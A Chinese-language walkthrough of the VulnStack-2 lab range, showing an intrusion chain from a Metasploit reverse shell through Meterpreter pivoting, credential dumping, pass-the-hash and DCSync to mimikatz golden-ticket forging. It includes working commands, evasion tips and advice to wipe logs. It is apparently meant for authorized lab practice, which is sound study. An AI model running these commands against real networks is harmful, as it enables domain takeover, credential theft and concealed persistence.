打内网横向,绕不开VulnStack-2这个靶场。它是我见过最适合把“MSF渗透 + 内网横向 + 黄金票据”整条链路串起来的实验环境。标题里那串关键词,其实已经点明了整场练习的骨架:先用MSF拿到一台边缘主机的权限,再沿着内网一级一级往上摸,最后用黄金票据完成域控层面的完全接管。这篇文章不是给你抄一遍命令,而是尽量把每一步为什么这么做、踩了什么坑、有什么替代方案都讲清楚,学完之后你能从“会打靶”变成“理解打法”。
这套靶场适合三类人:刚学完MSF基础但不知道内网怎么打的初学者,正在准备红队实战的进阶学习者,以及想系统梳理Kerberos协议和票据攻击的老手。读完你会得到一份能直接复用的内网横向测试流程,以及一份少走弯路的排错清单。
1. 环境准备与攻击路径拆解
1.1 靶场要模拟的网络拓扑
VulnStack-2的设计思路很贴近现实中小型企业的网络:一台暴露在外的Web服务器作为最外层入口,后面跟着一个相对独立的域环境。整个环境通常划成两个网段,我用常见的模拟拓扑给大家描述:
- 攻击机:Kali Linux,网络可以通到Web服务器的外网地址。
- Web服务器:双网卡,一张网卡对接“外网”网段,另一张网卡接入内网网段,扮演跳板机的角色。
- 内网区:一台域控、一到两台域内主机,通过内网网段互联。
我们模拟的目标域名可以写成vul2.lab,域控叫DC01,Web服务器叫WEB01。真实环境中域名和主机名都无所谓,关键是理解三层关系:外网 → 边界主机 → 域内主机。网络规划上,我会把Web服务器的两个地址分别记为192.168.1.10(外网侧)和10.10.10.10(内网侧),域控用10.10.10.1。攻击机的接口能连通192.168.1.0/24网段即可。
搭建时建议用虚拟机快照,至少打三个快照:干净的初始态、装有Web漏洞环境的态、拿完全部权限的终态。笔记兄弟都知道,内网渗透练习最烦的就是打坏了要重来,快照能省下大量重建时间。
1.2 为什么选择MSF加黄金票据这条路线
很多课程教内网横向时,会掺杂Cobalt Strike、Empire这些重量级工具。但VulnStack-2这个靶场,用MSF完全够用,而且MSF自带的路由转发、Meterpreter会话、后渗透模块,能让你一条龙走完整个流程,少装很多依赖。
攻击路径上我建议按这个顺序打:
- 利用Web服务器上的远程命令执行漏洞,拿到一个低权限的WebShell。
- 用WebShell反连MSF,拿到Meterpreter会话。
- 在Meterpreter内部配置路由,打通内网网段。
- 扫描内网存活主机与开放端口,定位域控和域内主机。
- 抓取Web服务器内存中的口令哈希,尝试哈希传递。
- 横向移动到域控,提取krbtgt账户哈希。
- 制作黄金票据,获得域内任意用户身份的伪造通行证。
选择“黄金票据”作为最终收尾手段,不是因为哈希传递不行,而是因为黄金票据能解决一个非常现实的问题:你抓到的域管口令可能随时失效,或者目标环境开启了本地管理员凭据限制。而黄金票据利用的是krbtgt账号的哈希,这是域内所有票据签发的基础钥匙。只要krbtgt的哈希不变,你就能无限次伪造任意用户的TGT票据,而且默认有效期长达10年。实战里这也是很典型的持久化思路,虽然它很快会被高级检测手段盯上,但用来理解Kerberos认证机制,没有比它更直观的了。
2. MSF拿下Web服务器:第一个会话
2.1 外网入口漏洞的利用过程
我们先对环境做一轮端口扫描,这一步要细致。按经验,我会用nmap先扫全部端口再回头做指纹识别,避免漏掉非标准端口上的服务。
nmap -sS -p- --min-rate 5000 192.168.1.10 nmap -sV -sC -p 80,443,8080 192.168.1.10扫描结果一般是Web服务开在80或8080端口,中间件和开发框架版本往往存在已知漏洞。VulnStack-2的设计里,Web入口通常是一个带文件上传或命令执行点的功能,比如旧版PHP框架的后台模板、不受限制的文件上传配合包含执行等。这类漏洞的攻击思路很统一:要么上传一个包含恶意代码的脚本,利用文件包含或解析缺陷触发;要么直接通过已有的命令执行参数,拼一条反弹Shell命令。
我在靶机上用MSF还会优先试一下Web漏洞利用模块,比如通过search web找匹配的exploit。但真实操作更推荐手动打点,因为MSF的自动化exploit在遇到特定配置的PHP站点时,稳定性反而差。手动操作能明确看到每一步的返回结果,排查起来不抓瞎。
假设我们找到一个命令执行点,直接在参数里测试:
id whoami如果返回了系统用户信息,说明命令执行成功。下一步就是反弹Shell。这里有个原则:不要直接反弹一个裸bash,而是利用MSF生成一段反向Shell代码,让目标主动连到监听端口。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exereverse_tcp选择64位版本,是因为后面我们会迁移到64位的系统进程,位数不匹配会导致内存加载失败。用小体积的payload上传到目标,配合Web命令执行把它跑起来,MSF端先起监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 run等到meterpreter >出现,第一个会话就成了。这一步成功的关键是网络能通:目标的回连地址必须是攻击机能收到的地址,如果是云主机,还要确认安全组放行了对应端口。靶场环境里不存在那些幺蛾子,但本地VMware跑的时候,注意桥接还是NAT模式,别让攻击机和靶机不在同一张网卡上。
2.2 Meterpreter会话的加固与路由打通
拿到会话后的第一件事,不是马上翻文件,而是做三件提升稳定性和可操作性的工作。
第一,查看系统基本信息。
sysinfo getuid ipconfigsysinfo能看到操作系统版本和架构,getuid确认当前是什么权限,ipconfig看网卡和IP。这一步输出的信息决定了后面的操作。VulnStack-2里Web服务器是Windows环境,很可能直接就是管理员权限运行的Web服务,但不要高兴太早,是否SYSTEM权限,还得看进程运行上下文。
第二,迁移到稳定的系统进程。Web服务进程可能因为请求断开而重启,或者因为某些退出逻辑把Meterpreter会话浓度带走。我习惯先看进程列表,然后迁移到explorer.exe或者svchost.exe。
ps migrate 1234迁移完成后,再getuid确认是不是维持了原权限。如果从管理员迁到了SYSTEM,那当然更好。
第三,配置内网路由。这是整条线路上最核心的一步。没有路由,后续所有内网扫描和利用都无从谈起。
run post/multi/manage/autoroute或者手动加路由:
route add 10.10.10.0 255.255.255.0 1命令最后那个“1”是会话ID,告诉MSF把10.10.10.0/24的流量统统交给会话1转发。配置完可以用route print验证。验证通过后,直接在MSF里nmap或者调用auxiliary/scanner/portscan/tcp模块扫描内网网段。此时MSF实际上已经变成了一个能在两个网段间自由流动的路由器,只是它不转发IP包,而是在应用层代理Meterpreter的socket通信。
这里有个通用心得:路由配置完之后,尽量不要频繁切回原会话去执行命令。路由和代理偶尔会因为会话不稳定而断掉,一旦断了要重新添加。若发现MSF内置扫描太慢,也可以使用ping或arp扫描快速判断存活主机,再针对关键主机做细粒度端口扫描。
3. 内网横向移动:从Web主机到域控
3.1 在目标机器上收集凭据
横向移动的核心逻辑就一句话:在已经控制的主机上,翻出能用来访问其他主机的“钥匙”。这些钥匙可能是明文密码、哈希值、Kerberos票据文件,甚至是保存在LSASS进程内存里的会话票据。
常见的收集手段有两个:hashdump和kiwi。
hashdumphashdump需要SYSTEM权限,直接读取SAM文件并导出本地账户的哈希。这是最基础的一步,如果Web服务器的本地管理员和域内账户恰好重复口令,我们就可以直接用这批哈希尝试访问域控。
load kiwi kiwi_cmd sekurlsa::logonPasswordssekurlsa::logonPasswords会从LSASS进程内存里挖出当前登录用户的明文密码。靶场环境通常不会开杀软,这一步会很顺利。假如遇到Windows Defender把mimikatz拦了,就需要先做进程注入,或者把kiwi换到内存加载的方式运行。但这个问题我们先放到第5节集中讨论。
实际操作中,我还会先看一眼当前会话位于哪个域:
getdomain shell whoami /user net group "Domain Admins" /domain特别注意whoami /user输出的SID,后面做黄金票据要用到域SID,我这里习惯把它复制到本地笔记里。
凭据收集完之后,手头一般会握有本地管理员哈希、域用户哈希,甚至可能是域管哈希。如果直接用域管哈希尝试登录域控,反而绕过了很多“应有的”横向步骤。靶场练习建议还是按正常路径:先用普通域账号哈希或Web本地的哈希去摸内网其他主机,摸到一条可用的通道后再往上跳。
3.2 哈希传递与SMB横向移动
拿到哈希后,最常见的用法是哈希传递(Pass-the-Hash)。Windows的SMB认证支持直接使用NTLM哈希,不需要把哈希还原成明文。MSF里封装好的模块有好几个,我自己最常用的是exploit/windows/smb/psexec和auxiliary/admin/smb/psexec_command。
以哈希传递到域控为例:
use exploit/windows/smb/psexec set RHOSTS 10.10.10.1 set SMBDomain vul2.lab set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b54404ee:你的NTLM哈希 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4455 run这里有个容易踩坑的点:SMBPass字段可以写“哈希”或者“LM哈希:NTLM哈希”。如果只写NTLM哈希,前面LM哈希那一半一般填aad3b435b51404eeaad3b435b51404ee,也就是空LM哈希的固定值。格式不对,模块会直接报错。
再看payload的选择:psexec模块如果用reverse_tcp,需要内网能回连到Web服务器的某个地址,但Web服务器只开了NAT或双网卡,回连路径很绕。所以我更倾向于用bind_tcp,让目标监听一个端口,MSF主动连过去。在内网环境里,bind模式往往比reverse模式省心。
如果psexec模块被目标上的杀毒拦截,或者因为目标开启了Windows Defender而失败,就换WMI横向移动。exploit/windows/local/wmi或者auxiliary/scanner/smb/wmicommand,WMI走的是135端口,默认情况下更隐蔽,但需要目标开启WMI服务。
横向移动成功后,你会得到域控上的Meterpreter会话。这时先不要急着提权,先看权限:
getuid如果返回的是NT AUTHORITY\SYSTEM,那恭喜,说明已经拥有域控的完全控制权。如果只是某个域管理员,也可以再尝试提权,但VulnStack-2里一般拿到就是SYSTEM或者域管权限。
到这里,正常的域控接管已经完成了。但为了把知识体系补完整,我们还要聊黄金票据——因为域管密码或者哈希可能会失效,而krbtgt的哈希能让你在暗处继续掌控整个域。
4. 黄金票据的伪造与实战利用
4.1 黄金票据背后是Kerberos机制的三个关键点
想用好黄金票据,必须理解Kerberos认证流程。我从实战角度简化成三步:
- 用户向域控的KDC(密钥分发中心)发起认证请求,KDC使用用户密码派生的密钥加密一个TGT(票据授予票据)返回给用户。
- 用户访问某服务时,用TGT向KDC申请该服务的TGS(服务票据)。
- 服务用自己密码派生的密钥验证TGS,确认用户身份并决定是否放行。
这里面最致命的设计是:TGT里包含了用户的SID和组信息,但对TGT的真实性校验,完全依赖KDC里krbtgt账户的密钥。如果攻击者拿到了krbtgt的哈希,就等于拿到了KDC的签名私钥。此时攻击者不再需要知道任何用户的密码,直接自己造一个TGT:用户名叫Administrator、SID写域的SID、组信息加上Domain Admins、有效期写十年,然后用krbtgt哈希签名。任何服务验票时只会看到“这票是合法的”,而不会质疑这张票是否真的由KDC签发。
黄金票据能成功,还有一个前提:KDC默认不记录已经签发了哪些TGT,因为它不验证票据本身是否在这台域控签发的。所以哪怕用的krbtgt哈希是从当前域控提取的,只要域SID和用户名对,票据在所有域内机器上都通用。
黄金票据的另一个优势是,票据是离线生成的,不需要往域控发起任何请求,也不需要在目标机器上保存任何工具。这种“潜伏式”的利用方式,正好体现了内网持久化的核心思路。
4.2 从域控提取krbtgt哈希并构造票据
我们已经拿到了域控的Meterpreter会话,这一步就是提取krbtgt哈希和域SID。Mimikatz在MSF里通过kiwi模块加载,每个版本的命令稍微有点差异,我记录一下自己验证过的命令:
load kiwi kiwi_cmd lsadump::dcsync /domain:vul2.lab /user:krbtgtlsadump::dcsync模拟的是域控之间的目录同步协议,直接从域控的数据库里拉取指定用户的哈希。/user:krbtgt指定要提取的账户。输出里Hash NTLM:那一行就是我们要的东西,复制下来,留着用。
接着拿域SID:
whoami /user输出形如S-1-5-21-xxx-xxx-xxx-500,去掉最后的-500,剩下的就是域SID。比如域SID是S-1-5-21-123456789-123456789-123456789。
然后在你的攻击机(Kali)上执行mimikatz,这里不需要在域内机器上操作。构造黄金票据的命令如下:
mimikatz "kerberos::golden /user:Administrator /domain:vul2.lab /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:你的NTLM哈希 /ptt" exit参数拆解:
/user:Administrator:伪造的用户名,想伪造谁就填谁,一般用域管理员。/domain:vul2.lab:完整的域名。/sid::域SID,注意不是账户SID,别带后面的-500。/krbtgt::krbtgt的NTLM哈希。/ptt:把生成的票据直接注入当前内存中,不写入磁盘。这个参数很重要,因为一旦落盘,杀软和EDR都可能扫到票据文件。
也可以额外加上/id:500和/groups:512,513,518,519,520来指定RID和组权限,不过默认Administrator就是500 RID,域管组也能继承,一般不加也能用。加了更保险,防止某些服务校验组信息。
4.3 用伪造票据彻底掌控内网
票据注入到内存后,当前这台Linux攻击机想去访问Windows域资源,其实还差一步:把Mimikatz生成的票据用到后续的SMB连接里。但在MSF的环境里,我们可以直接利用票据登录域控,或者配合MSF的router进一步打通。
比如我习惯先把票据用起来,然后通过MSF里已有的域控会话,在那个会话里执行命令、读取域控上的共享文件。但这里有个更稳的验证方式:
- 先拿一个域内普通主机(非域控)的会话,或者拿到一台随机域主机的
shell。 - 在这个会话里运行mimikatz的
kerberos::ptt注入票据。 - 直接访问域控的C$共享:
dir \\DC01\c$或者用MSF的auxiliary/admin/smb/psexec_command配合当前票据去执行命令。
完整的黄金票据利用链路,其实是在验证一件事:伪造的票据能不能被域内任何主机信任。如果验证通过,那么即使已经拿到的域管会话被清除,你依然可以用这张票据重新进入域控。
还有一个细节:票据默认有有效期,传统黄金票据默认10年。如果你在Mimikatz里看到“End time: 2030-...”之类的字眼,别慌,那只是正常现象。不过实战中还是建议把有效期改短,例如/endin:180表示180分钟,减少被发现的风险。靶场里倒无所谓,但养成好习惯总是对的。
5. 实操中踩过的坑与排错速查
5.1 会话频繁掉线的排查
MSF会话掉线是内网渗透里的老大难。我最常遇到的情况有四种:
| 表现 | 可能原因 | 解决办法 |
|---|---|---|
| 拿到会话几秒后掉线 | payload架构不一致 | 确认系统是x64还是x86,重新生成对应架构的payload |
| 执行迁移到explorer后掉线 | 迁移时目标进程崩溃 | 换一个svchost.exe进程,或者迁移前先getpid确认当前权限 |
| 跨网段操作时掉线 | MSF路由表配置错误或未删除旧路由 | 删除旧路由并重新autoroute,用route print确认 |
| 反向连接超时 | 目标防火墙阻止回连端口 | 换bind_tcp载荷,MSF主动连目标监听端口 |
会话掉线时不要急着重来,先在MSF里跑sessions -i ID看看能不能恢复交互。恢复不了,再通过Web入口重新反弹。靶场练习里养成“每拿到一个会话就config快照”的习惯,能省不少时间。
5.2 哈希传递为什么总是失败
哈希传递失败最常见的坑有两个:一是SMBPass格式写错;二是目标开启了“限制本地账户使用网络登录”的策略。
先说格式。Psexec模块里SMBPass可以写明文密码,也可以写哈希。如果你复制mimikatz输出的哈希,往往是一长串NTLM MD5值。直接用也可以,但更保险的格式是:
SMBPass aad3b435b51404eeaad3b435b51404ee:1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d冒号前是LM哈希,冒号后是NTLM哈希。如果只填NTLM哈希,部分模块也能自动处理。
再说策略。如果Administrator的账号是本地账户,而域控策略启用了“仅来宾用户允许使用本地账户进行网络访问”,哈希传递就会失败。此时有两个办法:
- 找一个域内域管理员的哈希去传递,域用户的SID在域内通用。
- 用
auxiliary/admin/smb/psexec_ntlmgrs或者WMI模块绕过部分策略限制。
另外,Windows 10和Server 2016之后的系统,本地管理员在UAC远程限制下,默认不能通过网络认证。解决方式是修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System里的LocalAccountTokenFilterPolicy为1。不过这个修改需要本地管理员权限,通常我们在拿到Web服务器会话时顺手就能改。
5.3 mimikatz执行失败的几种原因
mimikatz在靶场里跑得很欢,但它失败的概率也不低。我总结了几种典型情况:
- 权限不足:不是SYSTEM权限,
sekurlsa::logonPasswords读不了LSASS。先用MSF的getsystem或者迁移到SYSTEM进程。 - 杀软拦截:目标装了Defender,mimikatz被实时扫描干掉了。解决办法是使用MSF的
kiwi模块加载内存版本,或者先run post/windows/manage/migrate迁移到安全进程,再进行load kiwi。 - 凭证缺失:目标刚开机,LSASS里还没有任何凭据。可以先让目标人为登录一次域账号,再进行抓取。
- mimikatz版本兼容问题:新版本Windows对LSASS有额外的进程保护(PP利用)。靶场环境通常没开,但真遇到时,需要在mimikatz执行前先做PP绕过。这一步在MSF里可以用
run post/windows/escalate/getsystem提升之后再尝试。
5.4 黄金票据的报错清单
黄金票据报错,九成是参数问题。我把常见错误列成一张速查表,方便你对照排查:
| 报错现象 | 大概率原因 | 处理方法 |
|---|---|---|
KRB-ERROR客户端时间与服务器时间偏差过大 | 目标时区与攻击机不一致 | 用MSF会话里的shell执行w32tm /resync,或者把系统时间改成域控时间 |
Cannot find KDC for realm VUL2.LAB | 域名写错,或者大小写不规范 | 域名必须与域内实际域名完全一致,一般表记录的是大写,但消息里要写小写,注意MSF模块要求 |
A required signature was not verified | krbtgt哈希复制错误,或者域SID忘了去掉末尾RID | 重新执行lsadump::dcsync,核对哈希;SID去掉-500再试 |
Access is denied | 伪造票据的用户权限不够 | 确认票据里/groups包含了519(企业管理员)和512(域管理员) |
ticket source not trusted | 票据类型或注入方式问题 | 使用/ptt重新注入,或用kerberos::list确认票据存在 |
这些报错里,最隐蔽的是时间问题。Kerberos对时间非常敏感,默认5分钟误差就会拒绝服务。内网里如果V2靶场的虚拟机没有开启时间同步,跑一轮下来很容易差出几分钟。手动同步一下再重跑,问题马上解决。
黄金票据制作完成后,还有一个经常被忽略的环节:清理mimikatz和Meterpreter会话的痕迹。靶场不用太较真,但建议养成习惯,把工具和上传的payload都删掉,把系统日志清一清。免得到后面排查问题时,日志里都是自己的操作步骤。
结语:一点个人体会
这个靶场练完之后,我对“内网横向”四个字有了更具体的理解:它不是一连串命令的机械拼接,而是不断问自己“我手上有什么钥匙,能打开下一扇门”。MSF和mimikatz只是工具,真正决定效率的是对环境里信任关系的感知。你会在一次又一次哈希传递和票据伪造中,慢慢建立起对Windows认证机制的直觉。
最后再提一句安全边界。VulnStack-2是本地靶场,怎么折腾都不为过。但如果你把同样的手法放到真实业务环境里,就涉及法律责任和道德风险了。没有书面授权的渗透测试,哪怕是“随便看看”,也可能把自己送进不该去的地方。把技术留在靶场,把敬畏带进职场,这条线务必守住。